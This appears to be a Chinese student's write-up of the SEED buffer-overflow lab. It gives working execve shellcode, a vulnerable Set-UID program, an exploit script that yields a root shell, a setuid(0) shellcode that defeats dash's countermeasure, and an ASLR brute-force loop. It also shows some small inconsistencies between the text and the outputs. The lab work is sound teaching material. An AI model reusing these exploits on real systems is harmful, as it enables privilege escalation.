实验 2 缓冲区溢出漏洞实验

Task 1: Running Shellcode

shellcode 是启动 shell 的代码，它必须被加载到内存中，这样我们才能迫使要攻击的程序跳到它上面。下面 call_shellcode.c 程序展示了如何通过执行存储在缓冲区中的 shellcode 来启动 shell：

```
/*call_shellcode.c*/
/*A program that launches a shell using shellcode*/

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

const char code[]=
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;

int mian(int argc, char **argv)
{
  char buf[sizeof(code)];
  strcpy(buf,code);
  ((void(*)())buf)();
}
```

上面的 shellcode 调用 execve()系统调用来执行/bin/sh。这个 shellcode 中有一些值得注意的地方：

首先，第三条指令将" //sh "而不是" /sh "推入堆栈。这是因为我们在这里需要一个 32 位的数字，而“/sh”只有 24 位。幸运的是，" // "等同于" / "，所以我们可以使用双斜杠符号。

其次，在调用 execve()系统调用之前，我们需要将 name[0](字符串的地址)、name(数组的地址)和 NULL 分别存储到%ebx、%ecx 和%edx 寄存器。第 5 行存储 name[0]到%ebx;第 8 行将 name 存储为%ecx;第 9 行将%edx 设置为 0。还有其他方法可以将%edx 设置为零(例如，xorl %edx， %edx);这里使用的 one (cdq)只是一条更短的指令:它将 EAX 寄存器(此时为 0)中值的符号(第 31 位)复制到 EDX 寄存器的每个位位置，基本上将% EDX 设置为 0。

最后，当我们将%al 设置为 11 时，调用系统调用 execve()，并执行“int $0x80”。每行机器码即其对应的作用、参数如下图所示：

```
const char code[] =
  "\x31\xc0"        /* xorl    %eax,%eax     */   ← %eax = 0 (avoid 0 in code)
  "\x50"            /* pushl   %eax          */   ← set end of string "/bin/sh"
  "\x68""//sh"      /* pushl   $0x68732f2f   */
  "\x68""/bin"      /* pushl   $0x6e69622f   */
  "\x89\xe3"        /* movl    %esp,%ebx     */    ← set %ebx
  "\x50"            /* pushl   %eax          */
  "\x53"            /* pushl   %ebx          */
  "\x89\xe1"        /* movl    %esp,%ecx     */    ← set %ecx
  "\x99"            /* cdq                   */    ← set %edx
  "\xb0\x0b"        /* movb    $0x0b,%al     */    ← set %eax
  "\xcd\x80"        /* int     $0x80         */    ← invoke execve()
;
```

使用以下 gcc 命令编译上面 call_shellcode.c 的程序,不能忘记使用 execstack，它允许从堆栈执行代码，没有 execstack 程序将失败,编译成功，即已启动 shellcode：

```
[09/04/20]seed@VM:~$ gcc -z execstack -o call_shellcode call_shell
code.c
[09/04/20]seed@VM:~$
```

以下程序 stack.c 在 strcpy(buffer, str)存在一个缓冲区溢出漏洞（改变 BUF_SIZE 将改变堆栈的布局，教师可以每年改变这个值，这样学生就不能使用过去的解决方案,建议值 0 到 400 之间）：

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#ifndef BUF_SIZE
#define BUF_SIZE 24
#endif

int bof(char *str)
{
  char buffer[BUF_SIZE];
  /*the following atatement has a buffer overflow problem*/
  strcpy(buffer,str);
  return 1;
}

int main(int argc,char **argv)
{
  char str[517];
  FILE *badfile;
  /*change the size of the dummy array to randomize the parameters for this
lab.Need to use the array at least once */
  char dummy[BUF_SIZE];
  memset(dummy,0,BUF_SIZE);
  badfile=fopen("badfile","r");
  fread(str,sizeof(char),517,badfile);
  bof(str);
  printf("Returned Properly\n");
  return 1;
}
```

上述程序具有缓冲区溢出漏洞，它首先从一个名为 badfile 的文件中读取输入，然后将该输入传递到 bof()函数中的另一个缓冲区。原始输入的最大长度可以是 517 字节，但是 bof()中的缓冲区只有 BUF_SIZE 字节长，小于 517。因为 strcpy()不检查边界，所以会发生缓冲区溢出。由于这个程序是 root 拥有的 Set-UID 程序，如果普通用户利用这个缓冲区溢出漏洞可能能够获得一个 root shell，程序从一个名为 badfile 的文件中获取输入，此文件由用户控制。现在，我们的目标是为 badfile 创建内容，这样当被攻击的程序将内容复制

到它的缓冲区时，就可以生成一个 root shell。

要编译上述易受攻击的程序，要使用-fno-stack-protector 和-z execstack 关闭 StackGuard 和 non-executable stack protections，然后使程序成为 root 的 Set-UID 程序。需要注意的是，更改所有权必须在打开 Set-UID 位之前完成，因为更改所有权将导致关闭 Set-UID 位：

```
[09/05/20]seed@VM:~$ gcc -DBUF_SIZE=24 -o stack -z execstack -fno-
stack-protector stack.c
[09/05/20]seed@VM:~$ sudo chown root stack
[09/05/20]seed@VM:~$ sudo chmod 4755 stack
[09/05/20]seed@VM:~$
```

利用 gbd（相当于 debug）找到 buffer 到 ebp 的位置：

```
[09/05/20]seed@VM:~$ gcc -z execstack -fno-stack-protector -g -o s
tack stack.c
[09/05/20]seed@VM:~$ touch badfile
[09/05/20]seed@VM:~$ gdb stack
```

首先利用 b 在 bof 函数设置断点，并利用 run 编译：

```
gdb-peda$ b bof
Breakpoint 1 at 0x80484f1: file stack.c, line 14.
gdb-peda$ run
Starting program: /home/seed/stack
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.
so.1".

[----------------------------------registers-----------------------
-------------]
EAX: 0xbfffea67 --> 0x464c457f
EBX: 0x0
ECX: 0x804fb20 --> 0x0
EDX: 0x205
ESI: 0xb7f1c000 --> 0x1b1db0
EDI: 0xb7f1c000 --> 0x1b1db0
```

再利用 p 找到 ebp 和 buffer 地址，相减得从 buffer 开始 32 字节可以得到 overwrite return address 的位置：

```
gdb-peda$ p $ebp
$4 = (void *) 0xbfffea28
gdb-peda$ p &buffer
$5 = (char (*)[24]) 0xbfffea08
gdb-peda$ p/d 0xbfffea28-0xbfffea08
$6 = 32
gdb-peda$
```

Task 2: Exploiting the Vulnerability

将 BUF_SIZE 改为 12，以下是 exploit 的 python 代码 exploit.py，这段代码的目标是为 badfile 构造内容，其中 ret = $ebp+120，offset = $ebp-&buffer+4，完整代码如所示：

```
#!/usr/bin/python3

import sys

shellcode=(
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
"\x00"
).encode('latin-1')

content = bytearray(0x90 for i in range(517))

start=517-len(shellcode)
content[start:]=shellcode

ret=0xbfffea38+120
offset=24

content[offset:offset+4]=(ret).to_bytes(4,byteorder='little')

with open('badfile','wb') as f:
        f.write(content)
```

编译并运行这个程序，这将生成 badfile 的内容，然后运行易受攻击程序堆栈，发现得到 root shell，进入了特权模式，漏洞被正确实现:

```
[09/05/20]seed@VM:~$ gcc -o stack -z execstack -fno-stack-protecto
r stack.c
[09/05/20]seed@VM:~$ sudo chown root stack
[09/05/20]seed@VM:~$ sudo chmod 4755 stack
[09/05/20]seed@VM:~$ chmod u+x exploit.py
[09/05/20]seed@VM:~$ rm badfile
[09/05/20]seed@VM:~$ exploit.py
[09/05/20]seed@VM:~$ ./stack
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm
),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambasha
re)
#
```

Task 3: Defeating dash's Countermeasure

正如我们之前解释过的，当检测到有效的 UID 不等于真实的 UID 时，Ubuntu 16.04 中的 dash shell 会删除特权。这可以从 dash 程序的更改日志中观察到，我们可以在 if 行看到一个额外的检查,比较实际和有效的 user/group IDs：

```
// https://launchpadlibrarian.net/240241543/dash_0.5.8-2.1ubuntu2.diff.gz
// main() function in main.c has following changes:

++ uid = getuid();
++ gid = getgid();

++ /*
++  * To limit bogus system(3) or popen(3) calls in setuid binaries,
++     * require -p flag to work in this situation.
++  */
++ if (!pflag && (uid != geteuid() || gid != getegid())) {   ①
++         setuid(uid);
++         setgid(gid);
++         /* PS1 might need to be changed accordingly. */
++         choose_ps1();
++ }
```

dash 实施的对策是可以克服的，一种方法是不调用 shell 代码中的/bin/sh，调用另一个 shell 程序。这种方法需要另一个 shell 程序，比如 zsh。另一种方法是在调用 dash 程序之前将受害进程的真实用户 ID 更改为零，我们可以通过在 shell 代码中执行 execve()之前调用 setuid(0)来实现这一点。在本任务中，我们使用这种方法。首先修改/bin/sh 符号链接，使其指向/bin/dash:

```
[09/05/20]seed@VM:~$ sudo ln -sf /bin/dash /bin/sh
[09/05/20]seed@VM:~$
```

为了了解 dash 中的对策是如何工作的，以及如何使用系统调用 setuid(0)来击败它，我们使用以下 dash_shell_test.c 程序，首先注释行掉图中内容并将程序设为 Set-UID 程序(用户应该 root)，发现进入特权模式：

```c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main()
{
  char *argv[2];
  argv[0]="/bin/sh";
  argv[1]=NULL;

  //setuid(0);
  execve("/bin/sh",argv,NULL);

  return 0;
}
```

```
[09/05/20]seed@VM:~$ gcc dash_shell_test.c -o dash_shell_test
[09/05/20]seed@VM:~$ sudo chown root dash_shell_test
[09/05/20]seed@VM:~$ sudo chmod 4755 dash_shell_test
[09/05/20]seed@VM:~$ ./dash_shell_test
$
```

然后我们取消注释并再次运行程序，发现进入普通用户模式：

```c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main()
{
  char *argv[2];
  argv[0]="/bin/sh";
  argv[1]=NULL;

  setuid(0);
  execve("/bin/sh",argv,NULL);

  return 0;
}
```

```
[09/05/20]seed@VM:~$ gedit dash_shell_test.c
[09/05/20]seed@VM:~$ gcc dash_shell_test.c -o dash_shell_test
[09/05/20]seed@VM:~$ sudo chown root dash_shell_test
[09/05/20]seed@VM:~$ sudo chmod 4755 dash_shell_test
[09/05/20]seed@VM:~$ ./dash_shell_test
#
```

从上面的实验中可以看到 seuid(0)的作用，我们在调用 execve()之前，在 shell 代码的开头添加调用此系统调用的汇编代码：

```
#!/usr/bin/python3

import sys

shellcode=(
"\x31\xc0"
"\x31\xdb"
"\xb0\xd5"
"\xcd\x80"
#The code below is the same as the one in Task2
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
"\x00"
).encode('latin-1')
```

更新后的 shell 代码添加了 4 条指令:

(1)在第 2 行中将 ebx 设置为 0

(2)通过第 1 行和第 3 行将 eax 设置为 0xd5 (0xd5 是 setuid()的系统调用号)

(3)在第 4 行执行系统调用。

使用这个 shell 代码，当/bin/sh 链接到/bin/ dash 时，我们可以尝试攻击易受攻击的程序，使用上面的 shell 代码修改 utilization.py，再次尝试 Task2 中的攻击，发现进入了特权模式:

```
[09/05/20]seed@VM:~$ exploit.py
[09/05/20]seed@VM:~$ ./exploit
[09/05/20]seed@VM:~$ ./stack
#
```

Task4 Defeating Address Randomization

在 32 位的 Linux 机器上，堆栈只有 19 位的熵，这意味着堆栈基址有 2^{19} = 524288 种可能，这个数字并没有那么高，可以用蛮力轻易地消耗掉。首先，我们使用下面的命令打开 Ubuntu 的地址随机化：

```
[09/05/20]seed@VM:~$  sudo /sbin/sysctl -w kernel.randomize_va_spa
ce=2
kernel.randomize_va_space = 2
[09/05/20]seed@VM:~$
```

然后我们使用蛮力反复攻击易受攻击的程序，希望我们放入 badfile 的地址最终可以是正确的。使用下面的 shell 脚本在无限循环中运行易受攻击程序。如果攻击成功，脚本将停止，否则将继续运行：

```
#!/bin/bash

SECONDS=0
value=0

while [ 1 ]
 do
 value=$(($value+1))
 duration=$SECONDS
 min=$(($duration/60))
 sec=$(($duration%60))
 echo "$min minutes and $sec seconds elapsed."
 echo "The programe has been running $value times so far."
 ./stack
done
```

开启地址随机化后，循环了 57s，执行了 23420 次后命中地址，进入特权模式：

```
0 minutes and 57 seconds elapsed.
The programe has been running 23413 times so far.
./attack.py: line 15: 18840 Segmentation fault      ./stack
0 minutes and 57 seconds elapsed.
The programe has been running 23414 times so far.
./attack.py: line 15: 18841 Segmentation fault      ./stack
0 minutes and 57 seconds elapsed.
The programe has been running 23415 times so far.
./attack.py: line 15: 18842 Segmentation fault      ./stack
0 minutes and 57 seconds elapsed.
The programe has been running 23416 times so far.
./attack.py: line 15: 18843 Segmentation fault      ./stack
0 minutes and 57 seconds elapsed.
The programe has been running 23417 times so far.
./attack.py: line 15: 18844 Segmentation fault      ./stack
0 minutes and 57 seconds elapsed.
The programe has been running 23418 times so far.
./attack.py: line 15: 18845 Segmentation fault      ./stack
0 minutes and 57 seconds elapsed.
The programe has been running 23419 times so far.
./attack.py: line 15: 18846 Segmentation fault      ./stack
0 minutes and 57 seconds elapsed.
The programe has been running 23420 times so far.
#
```

Task 5: Turn on the StackGuard Protection

在执行此任务之前，先关闭地址随机化，否则将不知道哪个保护有助于实现该保护,在前面的任务中，我们在编译程序时禁用了 GCC 中的 StackGuard 保护机制,在此任务中，可以考虑在 StackGuard 出现时重复 Task2,因此应该在编译程序时不使用-fno-stack-protector。此任务重新编译易受攻击的程序堆栈，并使用 GCC StackGuard，再次执行 Task2：

```
[09/05/20]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[09/05/20]seed@VM:~$ sudo gcc -g -z execstack -o stack stack.c
[09/05/20]seed@VM:~$ sudo su
root@VM:/home/seed# chmod u+s stack
root@VM:/home/seed# exit
exit
[09/05/20]seed@VM:~$ ./exploit
[09/05/20]seed@VM:~$ ./stack
*** stack smashing detected ***: ./stack terminated
Aborted
[09/05/20]seed@VM:~$
```

发现再次运行 task2 就不会进入特权模式，而是出现了缓冲区溢出错误。

Task 6: Turn on the Non-executable Stack Protection

在执行此任务之前，要先关闭地址随机化，否则将不知道哪个保护有助于实现该保护。在前面的任务中，我们有意使堆栈可执行。在这个任务中，我们使用 noexecstack 重新编译我们的易受攻击程序，并在 Task2 中重复攻击：

```
[09/05/20]seed@VM:~$ gcc -o stack -fno-stack-protector -z noexecst
ack stack.c
[09/05/20]seed@VM:~$ ./exploit
[09/05/20]seed@VM:~$ ./stack
Segmentation fault
[09/05/20]seed@VM:~$
```

发现不能得到 shell，而是显示 Segmentation fault，通过减小代码段的虚拟地址来划分数据段和代码段，对缓冲区溢出攻击产生一个 noexecstack。

实验感想：

本次实验中学会了关闭防御机制，通过缓冲区漏洞攻击易受攻击的程序，并由此获得 root 权限，本次实验在 Task4 处遇到了一些问题：在进行循环前没有对 stack 进行重新配置，将其转变为 root 下的 Set-UID 程序，从而导致循环了近一个小时都没有结果。在 Task2 中 buffer 一直提示 return properly，没有实验溢出，将 BUFFER_SIZE 改小后解决了该问题。在实验遭遇瓶颈时，重新理清思路、重新配置更有利于高效地解决问题。